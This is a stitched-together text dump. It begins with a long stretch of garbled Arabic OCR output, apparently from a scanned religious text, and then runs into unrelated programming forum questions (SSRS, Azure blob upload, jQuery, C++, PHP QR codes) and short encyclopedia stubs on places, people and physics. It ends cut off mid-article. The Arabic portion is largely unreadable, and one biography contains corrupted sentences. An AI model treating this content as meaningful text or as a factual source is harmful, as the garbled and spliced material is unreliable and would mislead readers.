أكذ نان رام مَددمأ
0 3 57 ل
0 رغ 0 نيا ا
اسافار 0 0 0
ونه 0 مد در
١ و
73 “اير ا 0 دو
0 3 2 وير
يه مرو 1
ررد كلتو 0 “؟ ]لوحا
6 0-0 ل ير 5 0-0
0
لكي 00
50 0 5
0
0
م 0 2
سر
0 2 0 دان
5 سمع نئسة وو
0 0 مدى
الي د اي 0
اك مسة
0 يلهاو 0
اي 00 2 الح 2 0
>
أ سس سه 1
د
3 ا اانه نوكم ده
ل 2
3 3 0 2 7
ا يي و دسو
ا ل
“رن
و0
مكنإ لتعود اد 1"
ا 0 30 3 د ا
:
5 9
1 ا
2 تر سل سروس ب 0
يلاف اكد ذال الععوداة مب 5
ٌ 1 9 0 0 ْ
52
ظ ا#دق عر 00
و ليف يوان د
ظ 7
7 الث لور لوي فل لت |
6. كج سو دب ا
وعد وول ايض ولا
السد و رح بور 0
اناا
2
وار لاله اس ٌُ
ان 0 3
رست لم د 0 عه سر 1 1 5
و أي و
ل مه 115 5 00
دس
بجح سره سا 0 900 ُ هه
يه عَلْوك شاد ودر
2 0 ض 0 “ان لالجا
ْ سلاه 0
ل 3 سي وليل
اجر ١ك 2
يي 12
يه 0 ررم ا
ا 2 ب اي بالإقاف
20 00
0 0 ديه و
ايه إجحسررًا 2-0 كي
0 . 0 0 7 3 س8
ا 2 جبالميو|
لي 577 0 وري » 0 0 6
وب - ديد
17 ال ام 21 و مإررر ساف 2 0
ا
ٌ ا
دقان ابوبوسف سبوعرووان مع جدالشتهد |
2 ل م ١و كر ددن
4 كلاو 0 ا
ف - رم
2 200 سد 900 "د ا
لعو اليرة سي لوو اشيم
00 ص 0 2 00 0 ْ
ل ا
و ا
97 0000 2 يك 1 1 0 ا
2 وأ ل ند جد|
2 2 0 وى 9 0 ا
0 لكوع فَِودةاان دالا الالتاطق |||
ل 20 و 2 2 0 دروي
غاو
سل 74 مدر ار
20 أو 1 ديا مر ا
262
و42 مر س0
00 اميك
و ري 00 58 ع
مدان سل ناك
7 م د 0 7 0 000
/ م
الس رات ا 2
1 000 00
3 له ا ّ د 1 0
د ا دو
2 ا «دىر
/ ٍ تاد / 8 57 1
١ 0 8 1 3 3
عم مكدودر د ضر ١ 0 ١
1 7 د 9
5 0 0ج در
مس بالية|
2 ورور
يط لما وود لاي
0
8 27 1
0002 ع 822 0
وري الي عل امومع
م
2
ا ا ا َك _ ْ: وه سس سس
اس مْعَليها وتريظ و
ٍْ 1 0 00
7 سو
2011111111
9 1 لادج 0 00
مام ع
20 4 م 5
0 ولاك بوالغيلة +
00 32 ا ا
ِ اه 0
و لم 2 ١ب أن
37 ا ا را
21
0 0 3 ل كأعادا كس
0 ان م
0
يا
2 0
ل 0 ا ص سس فو *
منعهع ناد داع روج اليس »و6 ل |
م 0 ف 9 "اجر ار ار 2
"١ 1 : 0 9 و
0 ك0 2 ع 92
22
ةر مه
ا 0000 ا
1 8 3-8 2 م
5-86 رات 9
0 ضري مو 0 ١
1 عمال
جر
ل ار
امسبوية بن
رك 2 ار عه 0
امامو و
55 0
6 شم
0 يسوي لام
سد صصص سد سس حرس جز صل اه 0 5
3 1 ' 2
أ 0 3 5
ه90 د مسد 7
ارم ١ه
0 2 0 3 3
: وتللدا
الأانيكون الضيا اووس 31 ا
م ره و2 1 . عمو عط خاو مكى مره
9 له دن كط اما لامي 0 0
يو
5
1
0 “2 02 و سج بده و سس بر مد |
ل دو 7 7 نوفا ومع
رو
2
| ع سر و ص0 ّ ا 50
2 وهاه كان كال علد 1
أن 7
2 00 د و اخ 0 م
8 تر 1
ركان عمق وا 00-6
١
5
ع ١ رس صر ل"
لوعووات ددرت اشام ا
3 2 “سواه
0 ا ا م
وَكَدَا
7 0 ل دواد م
ا دسمتحعوييمر
اسوك 3
. ا"
1 .ب« ره سه و سف سا صر سس
بن يل 0
5 0 وج وى" دوي 7 در سد
1 22 سسا فر |
لتو الات ٠
د 509 ا 0 04 “اذى |
نج
تس
و 3 َس 05 اكيت
2
8 0 لا 2 0 قار
١ و2 فم جزمافونا كم 2
لل
2 0 50 7 2 0 وما
ا 0 0 0 2 5
/
م ل و -- ظ
ا ةر 1
و 8 1 ١ سولب 00
/
0 2-0 ديق
37 ل 5 4
ادرو أده 2 ا 0
١ أماريها اننكل ذركَ وك و
ا
٠ ةي ا لؤسم
|
مووي 7 ا ا
]نا )
0 5
13 2
7 2 روسو
9 2 ِ
ره سس ا 21000
2/7 0 نا
5 و 0 10
2
0 0 25 7 ا
2 22 5 كم سك 1 0 1
بإ ةن ا ء ْ
١ 1 3 :
رازه ا
2 شري 2
7 الك 0 0
ا
رو رو 0 ١
ردن بععدو. شغد ودس الم 19
0 يد ”5 0
5 7 22 ور :
يمون
وله اسردم لهال ن سا0" اجوددش لاضل'
اتاد وات افن فنقيام و بكر يق الدتا:
0 ان تإلتكانت الثانية ا الم ماقام لماي او ادثالشة ٠
||| ذه 5 : ب 0
١ 5 م
أ . اوؤالمذ ب اوالوتراجّانالئة راع اوقا لرباعيم 000 نعود '
1 1 7 0
وختهب دم بقوم فيان بوكو ارا لإحتمال وكزى لوسك ككوعم او بقل 1ْ
1
متيدهابالهز امالورنك مصوده فادكان ذا شيرع ال ول امك ساح
صلا عل فول يل لان ناك الركعرانل ذلك ناترم ضحليه اناما وادككاءت زائرة 2 أل"
ا : لانغنسدعتر لا لماعمو َك فا لسرا لاولى ادتممكا لوس ةالهدث
فا فيرضن اوجتمرو تشب نمض ركم رارك دادكان الك ذا لنانيناوقلها ْ
ظ ا 5-0 سد رفع منا لاولى طلت صلا ,تاق لاحتّال انما زائزةوكذَكمتَ
ا( الف دالت 1
م 1 5 ك د لك 06
'ض
و دعيء 34 0 مشج ويه
5 0
0 »ى لض م
يد ورد 2
2 ا 0
واي عََ
جره
َ 1 مه
ل ا 1 ف ا
دوا لادج )ااانا بدك |
د
اي
د 5 0
ف بت عنم جل تانكانها لادطنيسي مجع د لحار ناش فهاوامة مذ
ره 06 ركى اخرى وتحملكا 1
1 ةيالوو 2 داب 0
0 00
ا . وج / ونح نصل
ا داشر 17و ١ م ده ا
0 فيستعزاتهود داكن نفو سير اناقامعنلتعرة
ّ ل 7 الاو واسم لفيا لاجودوانا
و ةريره وهوا ا 0 ل مالك د ارك
و 010 : 0 ا
032 2 يام 0 قير 0 0 5
22
م0 بذ ؤإسه يي
اوج وعوؤلةة امار واد 5 7
3 ا ١ 3 5
7 0 0
0
ا 0 2 00-00 0 سر ا اس فال سا زو ا
00 00 87
ع حر ا ات
( كت ونس وا اوضر السبووقال)
ا 2 و دم
8
3
ا
2
لس سف عرس لس جس 1 و و سس سس شل قر سرك ره
متمير كينا ف 00 0 ٍ
يي 0 ٍ
0ن 0 ا 2 نتم جم
ا اك
اي
5 تر سس سا سه يي
2 0 2 ١
0 7 امد
_- 2 2-6
ا 5
ل دور د لخن
د 2 س0
أ-ه
0
0 0 |
كل َ
ل ص ا
0 0
ِ ووالبلوك 00
م لزنا
ع ث ملام كا ملخا امد 0 2
اصن د 5-6
31
2 2 بتري 35
0-0 ايك مما
| دوو ميرد 0 |
ْ ا 3
و وهر >" جف 0 م ار
ا أي كنكل كك
كت رن 10 0 بر سد درج
ْ 2 000 270 2
"وى دور
د_6 2
لاض
آي 8 د ا تر دم 0 0 1
0 7 >
:. 00 / 1 ير ْ
1 5 ا 7 0
07
5 35 5 م
226 0 رد
ذه أ هه 11
يس] نل
2
ا 1 1 1 ا أ( 2
ودعي" ا ب 1 ||
| : 7 0 0
ا 3-4 0 2 0 0 رج ١
ظ 0 0 2 0
١ 0 2 5 0 27 2 2 ا
١ 0 ا 2 00 اليم 5 0
سرب 22 .د 5 5 ا
١ 0 ٍِ 0 9 0
01 5
ألَامِدٍ 500006 2
ال 0 جا |
|0
ا 000 سه م ا 0
ادي 8 نموم وبأو عا قاض | 1
ا /: 0 درم 1
١ ب ري و دض 0
يد و 3 ا ا
ا مسإلا موويلا
لو و و 0 “رو
7 دسم
1 8 3 و 5 مر
ا 2 8 0 2
روي صر
روم 7 ل ار 2
3 ا ود ساد 0
ْ ادي 22 ا
وو
و 00
٠ 7 0
1
0-7
0 2
ا 20 7 د
5 ا 2 0
0 3 له 2 1 0 2
م و م
ا ل 0
ارو
200 2
وانا 5
ابر
ا
77ص صرخاصا
ْ ستو ب ماسرو 0 1 وحم 1
م ودقم وجرا اموا وفع ولد 2 يها ا
اين 0 اي ين 8 دوا ١
ا و 3
الذسنا ودوا الكت 5-5 موف فت ديد
سارو 07 700 و
ا 7
ظ ارول ووفض وأبسدء وروا + د لف ١
ا 92 50 ١
ا سي ثم 0 س0 علص
|ولووصيرا 2222000 3 د
ا
ل
ا
ا ا ك5 0 5 دض
د ل 007
المعبد او عط لكا كوش
شد
0 م سرمت مدو" جز 220
2ه اش
|
١ لصا الات رت
الال داوم جو نا
0# سس ادص كسك
0 00 قي يت - و 7
3
جرعي م
جره سمس
م 2 علطا |
يما 30
ل 00
ان ا 1١ 000 م ١0و
و ص 0 6
ا ره وو 0
1 3 ُ 1 ثور احص اس واس
0 فير
ك9 مر
82
8 وو ته رؤووه١ هوا 5 00
وان 3 م ع َه
اك
2 00100 ا
00 ميري 3 دن مز ميم 07 1
ثري
| 0 ا سا سس مه 7 ١ صر سرس سسا أ
ا دخا لوص ُ يديه باوص 0
0 7 9
]و مريب م 0 00
تايا
1
0 0
0
4 0 اعد مب
١ 3
عل
0 0 2
: 8 فرعا
ل فر عه
1111
اس ده
عن حبيوه كم قر وإذا.
| و ا 2
ا ايلود 0
م 2 0
اال
0 0 6 22210 را
ظ ودر 000 ا و كارو 5
3 3 “الى 00 ١
١ 0
اث ار مرخ لح كات ١ عرب
داي وار نار
0
. 35 6 55 ل
باط سعبي ل سور لباوت -
: 0 -
ا سس ل ا ا ل 22
كان صمل لا تعد وهواخيياد
/, <- 5 5
ا ا 0
١ 5 ا
ا 7 ا ار لبد
|ولوفرء عمَكانْحَجَ لاش_د ولوقال
2-50-8052
ا 0
2 ري إن اموا وي
3 ٌّ
ددن ام
2
ا ركه نر ئُ 2ه
خرصي
. 000
06 اللاء
0 0 0
1 سد وعزعبواه
ويسم م
١0 0
0 0
دن اد |
|
0 00
1
/
سر |
م
2 سا 0 سس سك 1"
البَيانَهموَتفَوق)
جن ركه
اكيس
5
ور
0
0
1
1
2
صر
8
1
3-0
سر سر للد ام
سك
س7
ل -
ذو
ركم راسد 1 ٍ!
الله /
00 ١ن موري
ديدي 6 6
0 010 يه
ّ ردق
0 2
ميدأ
َ مده أ
ءانما
00
0
و ١ ار
شرم 2
, لسر
: 0
55 0
١ 1: 0 5 ل
ع د
ع ب [
6
رو
ار
د بوي 0
0 الى
َك 0
22
أركدة 5
د ام
00 2
ا 57 س0
ال ا سا 7
لطبك ول و
900 و
0
ْ 0
اق 0
0 رن
تفل"
و لجن
000
ص3 قر قر 1
الى
ا
2
55 اليد 52 ةرم
ا 8 ا
دور
يت
يد 1 :
6 !"دض
يري# وميه
فك ادير 0 ا[
ا
6
هرر
١ 0 2 1 56 7 عو عب 1ع بيلق
4 0 7 يي
1 م م سر 2
ا 1-6 ل
0_6 ان 0
0 ا
0
١ 0 رسام 3 0 وو عه
ولوق ف عوالة اس من أذ 1
_ 7
١ 3 حم احم 25
0
. 5 ٠.
ا تر
هو 0 " 77
0 خارى
5 2
ْ د
اما ووعكء بترلا شدي لتر ولوررءاالشنديد |
ار ميد
1 5 2 2
ا
يري
ْ ا طزائم 1د 1 ينا ؤ
ٍ اا
هر د له
َل و |
له و سكا :
نسدد ال دصلا بك
2 م
وه 1 0
وا 0 8 امد
0 انض ا
قرو ولفيير
0
سكم وََامَةالَْعَ عل 00 رد
١ 0 2 ا لاق م
0 كماد 5 ومين
أت ع.
00
١ 0 2 او 1 ١ ص -
ا يي
0-7 و 6 تا
: انسل : صلائر والتسماء كَألاعز مادعاب
8 سر حبس عرق
2
| ا ما ساي
1
ا
ا 5
م
3 2 ا
- لان 00 يش 0000
59 8 رو 5-5 ا
| متى ” 3 3 دور بوره بلطا
0 0 2 5 سه سس 3 مره ورم سر 0
هأ هزه ذه سعي بحا ٍ! علو اشصدث 2
7 كتير لاو لاي “ري فلولا ددس 1
3-1
در ور ره س4 صر
ا ب
مس" 0 تر 50
م
ا
0 مدر يرو زب ار س دعاة ١
عونا 1 ل 0 كت ظ
ا
ا 2 0 ١ “ادق 0 ا
لما 2 امه مت
2ه 80 8 ا
م 0 ل كن 6 0
ا ل 1 لمرو 528 ْجمسييا وام العو
ككورن 0 ع" 0
7 و
0 0 ا
ره 0 0
2 0-7 يات وهر
0 007
0 يك ار .اق 0 1 م و
يراتا سد ا ف سورج 3 رس ص ريط ور ١
الصا ام تي 1
١ 0 20 دير ا
2 53 و-290 زر 2 له سه ا
5< ا واد َه ]|
/ 77 9 لاو 0 0 ا
ا 0
الع و 0
ا ذه عر - 0 ا
52-0006 لوح حَانٌ لهءا
9 0
0 0 8 0 0 ل
20 وددر و|
0
ا
2 ركنا
0
1سا ؤ
000 لول
2 00 0 و 58 :ره م
0 0 َس 8 بصا 2 بوسر سم وِ ظ
ورم رز سكو كرتا 00
١ 0 8 0
2 0
3 5-6 ير
اك 5
| 2د رو 22 200
2 كلسو تاونس1
اك رضح 0 000 00 ١
دن 000 م5
1
١
ِ
1
١
2
ّْ
8
ا 1 ع 9و3 ع 8
ها م ددا كد حأ وكا
| اليم ا ا ع ا
ا 0 0
0 اد سه
اسواء اء لحف محمد كان '
و-
رللء 3 2 5 7
0 8 ا 0 3 م و 6 ني
2 0 00 02 لدي
5
2000116 ا
و 7 0 5 0 اس
ا م 0 ا ماي ادا
فوح لابعدد عا لفسال وَفي وجود 0 3
ل اه كلون. لى نارين
لل الا ا 000
لوكو د وو ا نر 01 0
م ن بده خاض ةعسلا لمر
كت - 1 0
١ 1 نر رادت 9
حي ا
م 2 آتآت 0 1 ىعم
ود 6 م |
ٍْ د 3
1 1 : ل 1 0 0 /, 0 ا
ا اد ا
ا
2 4 .._ 0 '
: روه ا
اساي حي ا 1د أ
١ - ص سا ا 9 ا
5 3 0 ا
دق د “نو ارم
ا
عي 0 ره م
5
5 7 ا 2 ل 2
دم وذ 0
2 ا ل ا د ل
“سس د مه 1 0 21
وقدذ ل دين 1
ا يي 0
ل ام 01
ريت
َه
0
د . 001 عراس ةمه
وال 5 2 سياد ©وقدرة ل
ا -
0 9
22 0 7 3 7 5
5 ل
2-01 7 27 الى
ورا عدر ا
ل 000 0 1
2 22 جات م تت"
امإ سق اناهن
1
١ سس | سا سس 0
الجميعا فِعس] ماحوله و يرا كُدتَالله
0 1 “مر ”ا ٍ تي 9
َل 5 0 000
5 ص يذل دي
5 1
#1 “لوز
-_-
ا 7 ل سام ل م 4 م
١ ناهم الع ل حضوا سم كاذ موص ءا
رس سرك لس سرس سس سل ا ا ول دصي
ل سد 5 ٍِ > 02
0 ره 0 8
اج كه 5د
م
”يق رم 3 بر
ماعن تارك الصلات يلقو امش ست ا
00 م 1 و مر
ا 1 دون 922 ا
رت سلا سه ور 2 وم١ 3 ١
مقنللياجميها اوم 50 ْ
ع 2 ا
و4 ص ا 3 2 وير 4
يم 8 3 م بس انه
رعسم علدا سكام وابكلاا شيتككت بلبّاجا
١ 0 00 ١
1 0 م
ا - 00 5
م ل ا 0 0 ل سل
الأدى برهم الب مرا لزني والذا ىح سلط
الس روش ى 0 3 2 0 شه 5
ا د ال 22
0-١ ار اند
"ود
0
: '
ابشريبة مزاء ككامزاحان. دكا ل
| م ”امن 0 00 ب
2 2 ا َك اي دى
00
لدم من ناكا
زر ب 0 ا
اف و 6
0 4 ا م
0 ا
0 0
0
52
أنواككنية سسبعينمنؤسدة دسولا ل
ولوكادد مَل وإمموامطاءالنه اها شاد ملفل
و 0 7 322 وج ؛ وو ا
00 «قالاً! ووو ا
0
دِرْصَم لإطالبا لهل يكام فى ج :ا
00 و4 0
ؤ مزذهيالاحمهفالاليْوْمِِااِسَلام لام
0 ا 1 2
١ 3 22 3 ُ
م كد يه
(١
5 7 سكا
ووه 0-7 مالدنيا
اك المي الام ذاجلسنق 0
1 4
: 0# 1 يو
م م1
0
ا 2 0 0
4 راد 0
3 0 2 ا
قالتر
ا الهو#ؤادذ
1 قد 0/37 لوث 2 9
امن وجهه ورضم! إبركة مزعرء وامالقدها
ا لت ا
ظ ارط اراي
اونا بالقبر» وآمًا الثلاشْةالَّىَ ا د
1 7 شرن در 5 1 0 0
| امد ١ : 7 0
م وضتكومرالراً سروبا قافتا
ندع الخيامة ليشلا
ب
ا : 7 2 “وى 5 ادن
ل 2 2
0 2 ار 0
2
, 0
5 2
ا ا ا ل
ل يوي
-
ساسج 00 : 2 -
, موعصبانا عدرة دعود دأكله َه قا لك 3 تمحيج ١
أ ف 0 و م 6 دن م ا
000 1 0 واد 1
١ 0
ا عدوي قف ذاحياى ومن ١
2 2 52
احراك فد ا احبئ وم اخبؤكاردمى خاجتة |
- ١غ 0 |
يو مالقيامة © قالالنىعليه 00 0
ات 0 00 رس سوير ١
رك وق ما لض اوة عو :
1 ور 5 ْ
٠. انا يعم نرواء
لانبياء مر وخ 0 ليت
اع
موف لات برى لبي ا '
ا ان 00 وف لبن
0 ع 0
الخويانية - نا
5 سباح ونانعااة
3 ان
ود., اي
ا حية 51 مد وددصة جد لأس ع2 سرس | ]ا
20 توراه قزم علص ده ددرا ف 0
-
كاك
أو 4 سي 2# عب سا ع مت 7 7
يمن قم مدح ولننادد عي
0
د ل ا ا
مي جلك
مسصد هه ا لحري س يي سح س وكيم ا م من سا م اسمس سي بلا
جوت وتم ووس جح وجيف #اليد عدر بحاي و سيعهه جع سمي 2 سمج خسو ممصمو سهدت سمونت و
--- : 2
.5 ل م
وج م
|
<p>so I am actually trying to get into software development and I currently have just spent a few days making a GUI in Photoshop. Now I know how to code in Java and Python but I have never implemented a GUI before. I am stuck on this because I know I can write the code and everything but how do I take what I made in Photoshop add some java or python code to it to make certain things happen? I have zero experience in this and I have only written code to accomplish tasks without the need for a GUI. </p> |
Sioux City is a city in Iowa, United States. It is located in Woodbury County and Plymouth County, and is the county seat of Woodbury County. Sioux City is the fourth-largest city in Iowa, with a population of 82,684 at the 2010 census. The city sits near two major rivers, the Missouri River and the Big Sioux River.
References
Other websites
Sioux City website
Cities in Iowa
County seats in Iowa |
Inuwa Abdulkadir (12 January 1966 – 6 July 2020) was a Nigerian lawyer and politician. He was National Vice Chairman (North West) of the All Progressives Congress (APC). He was Federal Minister of Youth Development from 2012 to 2013 under the cabinet of President Goodluck Jonathan. He was born in Sokoto, Nigeria.
Abdulkadir died on 6 July 2020 in Sokoto from COVID-19, aged 54.
Personal Life
Inuwa died on 6 July, 2020VID-19 during the COVID-19 pandemic in NigInuwa a. He was married and had ten ch.dren.
Biography
Inuwa was born on 12 January 1966 in Sokoto state, Nigeria. He attended Ahmadu Bello Academy in Farufaru from 1977 to 1982, Inuwa received Bachelor of law from Usman Danfodio University in Sokoto from 1982 to 1990.
Political Career
President Goodluck Jonathan appointed Inuwa as the Federal Minister of Youth Development in 2012. Whereas in 2013 inuwa was removed from the office.
References
1966 births
2020 deaths
Nigerian lawyers
Deaths from the COVID-19 pandemic in Nigeria
Nigerian politicians |
<p>I'm trying to create a landing page for ticketing arrival figures in SSRS; when you open the page, ideally, it would display the most recent 3 months count of tickets per month.(I'd also like to do a chart with just the current month & the count of tickets per day)</p>
<p>I've scoured around looking for GETDATE options as to avoid using date input parameters, but they don't seem to work in SSRS.</p>
<p>What I'm using as of now is:</p>
<pre><code>Select Incident_Number, Assignee,
CASE
datepart(m, dateadd(second,Submit_Date,'1969-12-31 16:00:00'))
WHEN 1 THEN 'January'
WHEN 2 THEN 'Febuary'
WHEN 3 THEN 'March'
WHEN 4 THEN 'April'
WHEN 5 THEN 'May'
WHEN 6 THEN 'June'
WHEN 7 THEN 'July'
WHEN 8 THEN 'August'
WHEN 9 THEN 'September'
WHEN 10 THEN 'October'
WHEN 11 THEN 'November'
WHEN 12 THEN 'December'
END as SubmitDate1
FROM Tbl_TABLE
WHERE (Assigned_Group = 'My Group'
</code></pre>
<p>I'll then take the SubmitDate1 & do a count off of it for my chart.</p>
<p>Any ideas on how to make this work would be greatly appreciated.</p> |
Mühlhausen-Ehingen is a municipality in the district of Konstanz in Baden-Württemberg in Germany.
References
Other websites
Official website
Konstanz (district) |
Jones County is the name of six counties in the United States:
Jones County, Georgia
Jones County, Iowa
Jones County, Mississippi
Jones County, North Carolina
Jones County, South Dakota
Jones County, Texas |
The New Zealand Dollar (NZD) is the money used in New Zealand, Cook Islands, Niue, Tokelau and the Pitcairn Islands. It has been in use since 1967, before that the New Zealand Pound was used. One dollar is equal to 100 cents. It is normally used with the $ or NZ$ to show it is the New Zealand Dollar.
Coins
From 1967 the coins being used were 1 cent, 2 cents, 5 cents, 10 cents, 20 cents and 50 cents. the 1 cent and 2 cent coins being made of copper and the rest being made in cupro-nickel. In 1987 the 1 cent and 2 cent coins stopped being made and were not used anymore by 1990. In 1991 the 1 dollar and 2 dollar banknotes got changed into coins. They were made of aluminium-bronze. In 2006 the New Zealand Government decided to stop using the 5 cent coin and make all the other coins expect for the 1 and 2 dollar coins smaller. They also made the new smaller 10 cent coin copper.
Banknotes
The first paper banknotes were printed in 1967. The one, two, five, ten, twenty and one hundred dollar notes. The one and two dollar notes were replaced by coins in 1991. In 1983 a 50 dollar banknote was introduced. In 1999, New Zealand changed from paper banknotes to polymer banknotes.
Other websites
Currency of Oceania
New Zealand
1967 establishments in Oceania
1960s establishments in New Zealand |
<p>Please help in resolving the below issue. I need to upload a dataframe (i.e. region) as a csv file into storage container (I only have blob_sas_url)</p>
<p><a href="https://i.stack.imgur.com/uQWKS.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/uQWKS.png" alt="enter image description here" /></a></p>
<pre><code>from azure.storage.blob import BlobServiceClient
blob_sas_url = "https://.........."
blob_client = BlobClient.from_blob_url(blob_sas_url)
## Upload file
with open(region, "rb") as data:
container_client.upload_blob(name=output_blob_name.csv, data=data)
</code></pre>
<p>Below error,</p>
<pre><code> ---------------------------------------------------------------------------
TypeError Traceback (most recent call last)
<ipython-input-125-e92dcc841981> in <module>
5
6 ## Upload file
----> 7 with open(region, "rb") as data:
8 container_client.upload_blob(name=output_blob_name, data=data)
TypeError: expected str, bytes or os.PathLike object, not DataFrame
</code></pre> |
<p>I'm having issues with using the Javascript Coin Slider (great download fr/: <a href="http://workshop.rs/projects/coin-slider/" rel="nofollow noreferrer">this workshop</a>). I am attaching 2 screen shots. One is of the file working in chrome, and the second is the same file hosted on my server at the same time. This is my first time really playing around with JQuery, so I am not sure if there is something I am just overlooking? I've already exhaustively looked at all my relative links to make sure they are all syntax and semantically correct. </p>
<p>Help please!</p>
<p><img src="https://i.stack.imgur.com/ydw5f.jpg" alt="enter image description here"></p>
<p><img src="https://i.stack.imgur.com/qGX5E.jpg" alt="enter image description here"></p>
<p>Here is the HTML / Js:</p>
<pre><code><div id="coin-slider">
<a href="team/index.html"><img src="img/jq/1.jpg" /></a>
<a href="history/index.html"><img src="img/jq/2.jpg" /></a>
<a href="planning/index.html"><img src="img/jq/3.jpg" /></a>
<a href="fun/index.html"><img src="img/jq/4.jpg" /></a>
<a href="girls/index.html"><img src="img/jq/5.jpg" /></a>
<a href="tour/index.html"><img src="img/jq/6.jpg" /></a>
<script type="text/javascript">
$(document).ready(function() {
$('#coin-slider').coinslider({ width:959, height:325, navigation: false, delay: 4000, spw:10, sph:6, sdelay: 50, effect: 'rain' });
});
</script>
</div>
</code></pre>
<p>...and my head call:</p>
<pre><code><!-- JQuery Coin Slider image display and transition inclusions -->
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="js/coin-slider.min.js"></script>
</code></pre> |
Edward M. Zwick (born October 8, 1952) is an Emmy Award-winning American movie and television director, writer and producer. He was born in Chicago. His best known movies are About Last Night, Glory, Legends of the Fall, and The Last Samurai. He is also the co-creator of the television series thirtysomething and Once and Again.
References
Other websites
Emmy Award winners
1952 births
Living people
American television writers
American television directors
American television producers
Movie directors from Chicago
Movie producers from Chicago
Screenwriters from Chicago |
A spliceosome is a complex of special RNA and protein subunits. Spliceosomes are amazingly complex molecular machines. They remove introns from a transcribed pre-mRNA segment. This process is generally referred to as splicing.
Each spliceosome is composed of five small nuclear RNAs, (snRNA)s, and more than 50 proteins.
References
Molecular biology
Organelles |
Salem Municipality () is a municipality in Stockholm County in central Sweden. The seat is in Salem.
References
Other websites
Salem Municipality
Municipalities of Sweden |
Bernoulli's principle is an idea of fluid dynamics. It says that as speed of the fluid increases, pressure decreases. The photo on the right shows this happening. The air in the wide part of the tube has a higher static pressure than the thin part. For a steady flow, the amount of fluid entering the pipe must equal the amount leaving the pipe, so the fluid speed in the thin part must increase.
When a force acts over an area, it is called "pressure". A higher pressure pushes (accelerates) fluid toward lower pressure. So any change in a fluid's speed must be matched by a change in pressure (force). Bernoulli saw that while the fluid moved more quickly in the smaller part of the tube, the pressure became less. Please note that this refers to changes in speed and pressure along a single path of flow and does not apply to two different flows at different speeds.
The full version of Bernoulli's principle includes both the work by the pressure and by the changes in potential energy from changes in height. In this form, the principle says the total of the pressure, kinetic energy, and potential energy is a constant. (Bernoulli does not consider viscosity or compressibility.)
Fluid mechanics |
<p>Given the following...</p>
<pre><code>#include <iostream>
using namespace std;
class BaseClass {
public:
void Func(float f) {
cout << "BaseClass:Func() called!";
}
};
class SubClass : public BaseClass {
};
int main() {
SubClass sub;
sub.Func(1.1f);
return 0;
}
</code></pre>
<p>This runs pretty much as one would expect, resulting in the following output...</p>
<blockquote>
<p>BaseClass:Func() called!</p>
</blockquote>
<p>However, if I add the following function to SubClass...</p>
<pre><code>class SubClass : public BaseClass {
public:
void Func(int i) { // accepts an int, not a float!
cout << "SubClass::Func() called!";
}
};
</code></pre>
<p>Like any other overload, I would expect the SubClass function to be called if I supply an int as my argument, and BaseClass's if I supply a float. However, if I run the program as-is (ie. with the float), this is not the case...</p>
<blockquote>
<p>SubClass::Func() called!</p>
</blockquote>
<p>Instead of what I was expecting, the float I provided is cast to an integer, and the SubClass function is called. It seems SubClass's function effectively shadows BaseClass's function, even though its signature differs.</p>
<p>Can someone shed some light on this? Is there a way to call the BaseClass function via a SubClass instance without having to cast it?</p>
<p>Thanks!</p> |
Sierpc is a city in Poland in the Masovian Voivodeship. About 18,872 people live there. The area is 18,6 km².
The football club there is called Kasztelan Sierpc.
Other websites
Official town webpage
Map via mapa.szukacz.pl
Open air museum in Sierpc - photo
Cities in Poland |
<p>I am using PHP QR Code library and it works fine to generate one QR Code. What I require is alter my php to display a bulk of QR codes which are generated from the text field (shown below) and which will be comma separated. This is the script I have:</p>
<p>echo "<h1>PHP QR Code</h1><hr/>";</p>
<pre><code>//set it to writable location, a place for temp generated PNG files
$PNG_TEMP_DIR = dirname(__FILE__).DIRECTORY_SEPARATOR.'temp'.DIRECTORY_SEPARATOR;
//html PNG location prefix
$PNG_WEB_DIR = 'temp/';
include "qrlib.php";
//ofcourse we need rights to create temp dir
if (!file_exists($PNG_TEMP_DIR))
mkdir($PNG_TEMP_DIR);
$filename = $PNG_TEMP_DIR.'test.png';
//processing form input
//remember to sanitize user input in real-life solution !!!
$errorCorrectionLevel = 'L';
if (isset($_REQUEST['level']) && in_array($_REQUEST['level'], array('L','M','Q','H')))
$errorCorrectionLevel = $_REQUEST['level'];
$matrixPointSize = 4;
if (isset($_REQUEST['size']))
$matrixPointSize = min(max((int)$_REQUEST['size'], 1), 10);
if (isset($_REQUEST['data'])) {
//it's very important!
if (trim($_REQUEST['data']) == '')
die('data cannot be empty! <a href="?">back</a>');
// user data
$filename = $PNG_TEMP_DIR.'test'.md5($_REQUEST['data'].'|'.$errorCorrectionLevel.'|'.$matrixPointSize).'.png';
QRcode::png($_REQUEST['data'], $filename, $errorCorrectionLevel, $matrixPointSize, 2);
} else {
//default data
echo 'You can provide data in GET parameter: <a href="?data=like_that">like that</a><hr/>';
QRcode::png('PHP QR Code :)', $filename, $errorCorrectionLevel, $matrixPointSize, 2);
}
//display generated file
echo '<img src="'.$PNG_WEB_DIR.basename($filename).'" /><hr/>';
</code></pre>
<p>echo $filename; </p>
<pre><code>//config form
echo '<form action="index.php" method="post">
Data:&nbsp;<input name="data" value="'.(isset($_REQUEST['data'])?htmlspecialchars($_REQUEST['data']):'PHP QR Code :)').'" />&nbsp;
ECC:&nbsp;<select name="level">
<option value="L"'.(($errorCorrectionLevel=='L')?' selected':'').'>L - smallest</option>
<option value="M"'.(($errorCorrectionLevel=='M')?' selected':'').'>M</option>
<option value="Q"'.(($errorCorrectionLevel=='Q')?' selected':'').'>Q</option>
<option value="H"'.(($errorCorrectionLevel=='H')?' selected':'').'>H - best</option>
</select>&nbsp;
Size:&nbsp;<select name="size">';
for($i=1;$i<=10;$i++)
echo '<option value="'.$i.'"'.(($matrixPointSize==$i)?' selected':'').'>'.$i.'</option>';
echo '</select>&nbsp;
<input type="submit" value="GENERATE"></form><hr/>';
</code></pre>
<p>What I need is in the input field called 'value' I will be able to type a series of information separated by comma then be presented with a list of QR barcodes generated from the comma separated list I specify.</p>
<p>Thanks</p> |
Bad Bentheim (; ) is a town in the southwestern part of Lower Saxony, Germany, in the County of Bentheim on the borders of North Rhine-Westphalia and the Netherlands about 15 km south of Nordhorn and 20 km northeast of Enschede.
Geography
Extent of the municipal area
The town limit is 49 km, with a north–south reach of 14 km and an east–west reach of 12 km. The area under Bad Bentheim's power, along with all its constituent communities, has a total area of 100.16 km2.
Neighbouring communities
